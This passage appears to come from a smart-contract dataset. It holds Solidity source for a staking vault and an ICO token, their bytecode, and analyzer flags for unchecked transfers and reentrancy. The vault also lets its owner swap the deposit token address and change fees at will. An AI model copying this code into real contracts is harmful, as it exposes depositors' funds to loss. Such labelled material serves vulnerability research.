mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public lastDivPoints;
uint public totalTokensDisbursed = 0;
uint public contractBalance = 0;
uint public totalDivPoints = 0;
uint public totalTokens = 0;
uint internal pointMultiplier = 1e18;
function updateAccount(address account) private {
distributeDivs();
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
uint feeReward = pendingDivs.mul(rewardFeeRate).div(1e4);
pendingDivs = pendingDivs.sub(feeReward);
require(Token(trustedRewardTokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
require(Token(trustedRewardTokenAddress).transfer(owner, feeReward), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
lastDivPoints[account] = totalDivPoints;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]);
uint depositedAmount = depositedTokens[_holder];
uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(trustedDepositTokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
totalTokens = totalTokens.add(amountToDeposit);
depositTime[msg.sender] = now;
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(depositTime[msg.sender]) > cliffTime, "Please wait before withdrawing!");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(trustedDepositTokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
// withdraw without caring about Rewards
function emergencyWithdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(depositTime[msg.sender]) > cliffTime, "Please wait before withdrawing!");
lastClaimedTime[msg.sender] = now;
lastDivPoints[msg.sender] = totalDivPoints;
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(trustedDepositTokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function distributeDivs() private {
if (totalTokens == 0) return;
uint amount = getPendingDisbursement();
uint256 mintedToken = Token(trustedRewardTokenAddress).mintStakeFarmSupply(address(this),amount);
totalDivPoints = totalDivPoints.add(mintedToken.mul(pointMultiplier).div(totalTokens));
lastDisburseTime = now;
emit RewardsDisbursed(amount);
}
function getPendingDisbursement() public view returns (uint) {
uint timeDiff = now.sub(lastDisburseTime);
uint pendingDisburse = disburseAmount
.mul(disbursePercentX100)
.mul(timeDiff)
.div(disburseDuration)
.div(10000);
return pendingDisburse;
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
// function to allow owner to claim *other* ERC20 tokens sent to this contract
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
// require(_tokenAddr != trustedRewardTokenAddress && _tokenAddr != trustedDepositTokenAddress, "Cannot send out reward tokens or staking tokens!");
require(_tokenAddr != trustedDepositTokenAddress, "Admin cannot transfer out deposit tokens from this vault!");
require((_tokenAddr != trustedRewardTokenAddress) || (now > adminClaimableTime), "Admin cannot Transfer out Reward Tokens yet!");
Token(_tokenAddr).transfer(_to, _amount);
}
function setDepositTokenAddress(address _trustedDepositTokenAddress) public onlyOwner {
trustedDepositTokenAddress = _trustedDepositTokenAddress;
}
function setWithdrawFeePercent(uint256 _fee) public onlyOwner {
withdrawFeePercentX100 = _fee;
}
function setRewardTokenAddress(address _trustedRewardTokenAddress) public onlyOwner {
trustedRewardTokenAddress = _trustedRewardTokenAddress;
}
}
|
0x608060405234801561001057600080fd5b50600436106102325760003560e01c80638e20a1d911610130578063c326bf4f116100b8578063d7130e141161007c578063d7130e141461061f578063e027c61f14610627578063f3f91fa01461062f578063f5de2d1f14610655578063fe547f721461065d57610232565b8063c326bf4f146105d9578063ca7e0835146105ff578063d1b965f314610607578063d4ee1d901461060f578063d578ceab1461061757610232565b80639a6acf20116100ff5780639a6acf20146105605780639f54790d14610586578063a6f9dae11461058e578063ac51de8d146105b4578063b6b55f25146105bc57610232565b80638e20a1d9146105045780638f5705be1461050c57806398896d101461051457806399cf62cc1461053a57610232565b806346c64873116101be5780636a395ccb116101825780636a395ccb146104ae57806379ba5097146104e45780637e1c0c09146104ec5780638b7afe2e146104f45780638da5cb5b146104fc57610232565b806346c64873146104355780634e71d92d1461045b5780635312ea8e146104635780636270cd181461048057806365ca78be146104a657610232565b80631f04461c116102055780631f04461c146103c35780632e1a7d4d146103e9578063308feec31461040857806331a5dda114610410578063447cb8961461041857610232565b806305447d25146102375780630c9a0c781461037d5780630f1a6444146103975780631cfa80211461039f575b600080fd5b61025a6004803603604081101561024d57600080fd5b5080359060200135610665565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156102a657818101518382015260200161028e565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156102e55781810151838201526020016102cd565b50505050905001858103835287818151815260200191508051906020019060200280838360005b8381101561032457818101518382015260200161030c565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561036357818101518382015260200161034b565b505050509050019850505050505050505060405180910390f35b6103856108d1565b60408051918252519081900360200190f35b6103856108d7565b6103a76108dd565b604080516001600160a01b039092168252519081900360200190f35b610385600480360360208110156103d957600080fd5b50356001600160a01b03166108ec565b610406600480360360208110156103ff57600080fd5b50356108fe565b005b610385610c28565b6103a7610c39565b6104066004803603602081101561042e57600080fd5b5035610c48565b6103856004803603602081101561044b57600080fd5b50356001600160a01b0316610ca1565b610406610cb3565b6104066004803603602081101561047957600080fd5b5035610cbe565b6103856004803603602081101561049657600080fd5b50356001600160a01b0316610dc8565b610385610dda565b610406600480360360608110156104c457600080fd5b506001600160a01b03813581169160208101359091169060400135610de0565b610406610f62565b61038561101b565b610385611021565b6103a7611027565b610385611036565b61038561103c565b6103856004803603602081101561052a57600080fd5b50356001600160a01b0316611042565b6104066004803603602081101561055057600080fd5b50356001600160a01b03166110de565b6104066004803603602081101561057657600080fd5b50356001600160a01b0316611154565b6103856111ca565b610406600480360360208110156105a457600080fd5b50356001600160a01b03166111d0565b610385611259565b610406600480360360208110156105d257600080fd5b50356112a9565b610385600480360360208110156105ef57600080fd5b50356001600160a01b031661144a565b61038561145c565b610385611462565b6103a7611468565b610385611477565b61038561147d565b610385611483565b6103856004803603602081101561064557600080fd5b50356001600160a01b0316611489565b61038561149b565b6103856114a1565b60608060608084861061067757600080fd5b600061068386886114bf565b905060608167ffffffffffffffff8111801561069e57600080fd5b506040519080825280602002602001820160405280156106c8578160200160208202803683370190505b50905060608267ffffffffffffffff811180156106e457600080fd5b5060405190808252806020026020018201604052801561070e578160200160208202803683370190505b50905060608367ffffffffffffffff8111801561072a57600080fd5b50604051908082528060200260200182016040528015610754578160200160208202803683370190505b50905060608467ffffffffffffffff8111801561077057600080fd5b5060405190808252806020026020018201604052801561079a578160200160208202803683370190505b5090508a5b8a8110156108bf5760006107b4600e836114d1565b905060006107c2838f6114bf565b9050818782815181106107d157fe5b60200260200101906001600160a01b031690816001600160a01b03168152505060116000836001600160a01b03166001600160a01b031681526020019081526020016000205486828151811061082357fe5b60200260200101818152505060126000836001600160a01b03166001600160a01b031681526020019081526020016000205485828151811061086157fe5b60200260200101818152505060106000836001600160a01b03166001600160a01b031681526020019081526020016000205484828151811061089f57fe5b6020908102919091010152506108b890508160016114a7565b905061079f565b50929a91995097509095509350505050565b60095481565b60085481565b6002546001600160a01b031681565b60146020526000908152604090205481565b33600090815260106020526040902054811115610962576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600854336000908152601160205260409020546109809042906114bf565b116109d2576040805162461bcd60e51b815260206004820152601f60248201527f506c656173652077616974206265666f7265207769746864726177696e672100604482015290519081900360640190fd5b6109db336114dd565b60006109fe6127106109f86005548561177f90919063ffffffff16565b9061179f565b90506000610a0c83836114bf565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610a6857600080fd5b505af1158015610a7c573d6000803e3d6000fd5b505050506040513d6020811015610a9257600080fd5b5051610ae5576040805162461bcd60e51b815260206004820152601760248201527f436f756c64206e6f74207472616e736665722066656521000000000000000000604482015290519081900360640190fd5b6002546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b158015610b3957600080fd5b505af1158015610b4d573d6000803e3d6000fd5b505050506040513d6020811015610b6357600080fd5b5051610bb3576040805162461bcd60e51b815260206004820152601a60248201527921b7bab632103737ba103a3930b739b332b9103a37b5b2b7399760311b604482015290519081900360640190fd5b33600090815260106020526040902054610bcd90846114bf565b33600090815260106020526040902055601854610bea90846114bf565b601855610bf8600e336117b4565b8015610c11575033600090815260106020526040902054155b15610c2357610c21600e336117c9565b505b505050565b6000610c34600e6117de565b905090565b6003546001600160a01b031681565b6000546001600160a01b03163314610c9c576040805162461bcd60e51b81526020600482015260126024820152711bdb9b1e481bdddb995c88185b1b1bddd95960721b604482015290519081900360640190fd5b600555565b60116020526000908152604090205481565b610cbc336114dd565b565b33600090815260106020526040902054811115610d22576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b60085433600090815260116020526040902054610d409042906114bf565b11610d92576040805162461bcd60e51b815260206004820152601f60248201527f506c656173652077616974206265666f7265207769746864726177696e672100604482015290519081900360640190fd5b33600090815260126020908152604080832042905560175460149092528220556005546109fe90612710906109f890859061177f565b60136020526000908152604090205481565b60155481565b6000546001600160a01b03163314610e34576040805162461bcd60e51b81526020600482015260126024820152711bdb9b1e481bdddb995c88185b1b1bddd95960721b604482015290519081900360640190fd5b6002546001600160a01b0384811691161415610e815760405162461bcd60e51b8152600401808060200182810382526039815260200180611adc6039913960400191505060405180910390fd5b6003546001600160a01b038481169116141580610e9f5750600b5442115b610eda5760405162461bcd60e51b815260040180806020018281038252602c815260200180611ab0602c913960400191505060405180910390fd5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610f3157600080fd5b505af1158015610f45573d6000803e3d6000fd5b505050506040513d6020811015610f5b57600080fd5b5050505050565b6001546001600160a01b03163314610fba576040805162461bcd60e51b81526020600482015260166024820152751bdb9b1e481b995dc81bdddb995c88185b1b1bddd95960521b604482015290519081900360640190fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b60185481565b60165481565b6000546001600160a01b031681565b60175481565b60075481565b600061104f600e836117b4565b61105b575060006110d9565b6001600160a01b038216600090815260106020526040902054611080575060006110d9565b6001600160a01b0382166000908152601460205260408120546017546110a5916114bf565b6001600160a01b038416600090815260106020526040812054601954929350916110d3906109f8848661177f565b93505050505b919050565b6000546001600160a01b03163314611132576040805162461bcd60e51b81526020600482015260126024820152711bdb9b1e481bdddb995c88185b1b1bddd95960721b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146111a8576040805162461bcd60e51b81526020600482015260126024820152711bdb9b1e481bdddb995c88185b1b1bddd95960721b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b600a5481565b6000546001600160a01b03163314611224576040805162461bcd60e51b81526020600482015260126024820152711bdb9b1e481bdddb995c88185b1b1bddd95960721b604482015290519081900360640190fd5b6001600160a01b03811661123757600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080611271600c54426114bf90919063ffffffff16565b905060006112a26127106109f86007546109f88661129c60095460065461177f90919063ffffffff16565b9061177f565b9250505090565b600081116112fe576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b611307336114dd565b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561136157600080fd5b505af1158015611375573d6000803e3d6000fd5b505050506040513d602081101561138b57600080fd5b50516113de576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b336000908152601060205260409020546113f890826114a7565b3360009081526010602052604090205560185461141590826114a7565b60185533600081815260116020526040902042905561143690600e906117b4565b61144757611445600e336117e9565b505b50565b60106020526000908152604090205481565b600b5481565b60055481565b6001546001600160a01b031681565b600d5481565b60045481565b600c5481565b60126020526000908152604090205481565b6101f481565b60065481565b6000828201838110156114b657fe5b90505b92915050565b6000828211156114cb57fe5b50900390565b60006114b683836117fe565b6114e5611862565b60006114f082611042565b9050801561175357600061150c6127106109f8846101f461177f565b905061151882826114bf565b6003546040805163a9059cbb60e01b81526001600160a01b03878116600483015260248201859052915193955091169163a9059cbb916044808201926020929091908290030181600087803b15801561157057600080fd5b505af1158015611584573d6000803e3d6000fd5b505050506040513d602081101561159a57600080fd5b50516115ea576040805162461bcd60e51b815260206004820152601a60248201527921b7bab632103737ba103a3930b739b332b9103a37b5b2b7399760311b604482015290519081900360640190fd5b600354600080546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018690529051919093169263a9059cbb9260448083019360209390929083900390910190829087803b15801561164757600080fd5b505af115801561165b573d6000803e3d6000fd5b505050506040513d602081101561167157600080fd5b50516116c1576040805162461bcd60e51b815260206004820152601a60248201527921b7bab632103737ba103a3930b739b332b9103a37b5b2b7399760311b604482015290519081900360640190fd5b6001600160a01b0383166000908152601360205260409020546116e490836114a7565b6001600160a01b038416600090815260136020526040902055600d5461170a90836114a7565b600d55604080516001600160a01b03851681526020810184905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a1505b506001600160a01b03166000908152601260209081526040808320429055601754601490925290912055565b600082820283158061179957508284828161179657fe5b04145b6114b657fe5b6000808284816117ab57fe5b04949350505050565b60006114b6836001600160a01b038416611961565b60006114b6836001600160a01b038416611979565b60006114b982611a3f565b60006114b6836001600160a01b038416611a43565b815460009082106118405760405162461bcd60e51b8152600401808060200182810382526022815260200180611a8e6022913960400191505060405180910390fd5b82600001828154811061184f57fe5b9060005260206000200154905092915050565b60185461186e57610cbc565b6000611878611259565b6003546040805163219c7d6960e21b81523060048201526024810184905290519293506000926001600160a01b0390921691638671f5a49160448082019260209290919082900301818787803b1580156118d157600080fd5b505af11580156118e5573d6000803e3d6000fd5b505050506040513d60208110156118fb57600080fd5b50516018546019549192506119239161191a91906109f890859061177f565b601754906114a7565b60175542600c556040805183815290517f497e6c34cb46390a801e970e8c72fd87aa7fded87c9b77cdac588f235904a8259181900360200190a15050565b60009081526001919091016020526040902054151590565b60008181526001830160205260408120548015611a3557835460001980830191908101906000908790839081106119ac57fe5b90600052602060002001549050808760000184815481106119c957fe5b6000918252602080832090910192909255828152600189810190925260409020908401905586548790806119f957fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506114b9565b60009150506114b9565b5490565b6000611a4f8383611961565b611a85575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556114b9565b5060006114b956fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647341646d696e2063616e6e6f74205472616e73666572206f75742052657761726420546f6b656e73207965742141646d696e2063616e6e6f74207472616e73666572206f7574206465706f73697420746f6b656e732066726f6d2074686973207661756c7421a264697066735822122037bff69eb1c5ef98ab3a8526d9835683c84f6fb485017bc7d992eab0a220a09e64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,285 |
0xd59643df59cc1b510d9c1f35d72e4f6355ad5abb
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
**/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
**/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
**/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
**/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
**/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender account.
**/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
**/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
**/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic interface
* @dev Basic ERC20 interface
**/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
**/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
**/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
**/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
**/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
**/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
**/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
**/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
**/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
**/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
**/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Configurable
* @dev Configurable varriables of the contract
**/
contract Configurable {
uint256 public constant cap = 30000*10**18;
uint256 public constant basePrice = 3*10**18; // tokens per 1 ether
uint256 public tokensSold = 0;
uint256 public constant tokenReserve = 20000*10**18;
uint256 public remainingTokens = 0;
}
/**
* @title CrowdsaleToken
* @dev Contract to preform crowd sale with token
**/
contract CrowdsaleToken is StandardToken, Configurable, Ownable {
/**
* @dev enum of current crowd sale state
**/
enum Stages {
none,
icoStart,
icoEnd
}
Stages currentStage;
/**
* @dev constructor of CrowdsaleToken
**/
constructor() public {
currentStage = Stages.none;
balances[owner] = balances[owner].add(tokenReserve);
totalSupply_ = totalSupply_.add(tokenReserve);
remainingTokens = cap;
emit Transfer(address(this), owner, tokenReserve);
}
/**
* @dev fallback function to send ether to for Crowd sale
**/
function () public payable {
require(currentStage == Stages.icoStart);
require(msg.value > 0);
require(remainingTokens > 0);
uint256 weiAmount = msg.value; // Calculate tokens to sell
uint256 tokens = weiAmount.mul(basePrice).div(1 ether);
uint256 returnWei = 0;
if(tokensSold.add(tokens) > cap){
uint256 newTokens = cap.sub(tokensSold);
uint256 newWei = newTokens.div(basePrice).mul(1 ether);
returnWei = weiAmount.sub(newWei);
weiAmount = newWei;
tokens = newTokens;
}
tokensSold = tokensSold.add(tokens); // Increment raised amount
remainingTokens = cap.sub(tokensSold);
if(returnWei > 0){
msg.sender.transfer(returnWei);
emit Transfer(address(this), msg.sender, returnWei);
}
balances[msg.sender] = balances[msg.sender].add(tokens);
emit Transfer(address(this), msg.sender, tokens);
totalSupply_ = totalSupply_.add(tokens);
owner.transfer(weiAmount);// Send money to owner
}
/**
* @dev startIco starts the public ICO
**/
function startIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
currentStage = Stages.icoStart;
}
/**
* @dev endIco closes down the ICO
**/
function endIco() internal {
currentStage = Stages.icoEnd;
// Transfer any remaining tokens
if(remainingTokens > 0)
balances[owner] = balances[owner].add(remainingTokens);
// transfer any remaining ETH balance in the contract to the owner
owner.transfer(address(this).balance);
}
/**
* @dev finalizeIco closes down the ICO and sets needed varriables
**/
function finalizeIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
endIco();
}
}
/**
* @title Pearl Finance
* @dev Contract to create the Pearl Finance
**/
contract PearlFinance is CrowdsaleToken {
string public constant name = "Pearl Finance";
string public constant symbol = "PFI";
uint32 public constant decimals = 18;
}
|
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146104bf578063095ea7b31461054f57806318160ddd146105b457806323b872dd146105df578063313ce56714610664578063355274ea1461069b578063518ab2a8146106c657806366188463146106f157806370a082311461075657806389311e6f146107ad5780638da5cb5b146107c4578063903a3ef61461081b57806395d89b4114610832578063a9059cbb146108c2578063bf58390314610927578063c7876ea414610952578063cbcb31711461097d578063d73dd623146109a8578063dd62ed3e14610a0d578063f2fde38b14610a84575b60008060008060006001600281111561012757fe5b600560149054906101000a900460ff16600281111561014257fe5b14151561014e57600080fd5b60003411151561015d57600080fd5b600060045411151561016e57600080fd5b3494506101a6670de0b6b3a76400006101986729a2241af62c000088610ac790919063ffffffff16565b610aff90919063ffffffff16565b93506000925069065a4da25d3016c000006101cc85600354610b1590919063ffffffff16565b1115610246576101f160035469065a4da25d3016c00000610b3190919063ffffffff16565b9150610228670de0b6b3a764000061021a6729a2241af62c000085610aff90919063ffffffff16565b610ac790919063ffffffff16565b905061023d8186610b3190919063ffffffff16565b92508094508193505b61025b84600354610b1590919063ffffffff16565b60038190555061028060035469065a4da25d3016c00000610b3190919063ffffffff16565b600481905550600083111561033c573373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501580156102d5573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b61038d846000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361044984600154610b1590919063ffffffff16565b600181905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f193505050501580156104b7573d6000803e3d6000fd5b505050505050005b3480156104cb57600080fd5b506104d4610b4a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105145780820151818401526020810190506104f9565b50505050905090810190601f1680156105415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561055b57600080fd5b5061059a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b83565b604051808215151515815260200191505060405180910390f35b3480156105c057600080fd5b506105c9610c75565b6040518082815260200191505060405180910390f35b3480156105eb57600080fd5b5061064a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c7f565b604051808215151515815260200191505060405180910390f35b34801561067057600080fd5b50610679611039565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b3480156106a757600080fd5b506106b061103e565b6040518082815260200191505060405180910390f35b3480156106d257600080fd5b506106db61104c565b6040518082815260200191505060405180910390f35b3480156106fd57600080fd5b5061073c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611052565b604051808215151515815260200191505060405180910390f35b34801561076257600080fd5b50610797600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e3565b6040518082815260200191505060405180910390f35b3480156107b957600080fd5b506107c261132b565b005b3480156107d057600080fd5b506107d96113e1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffff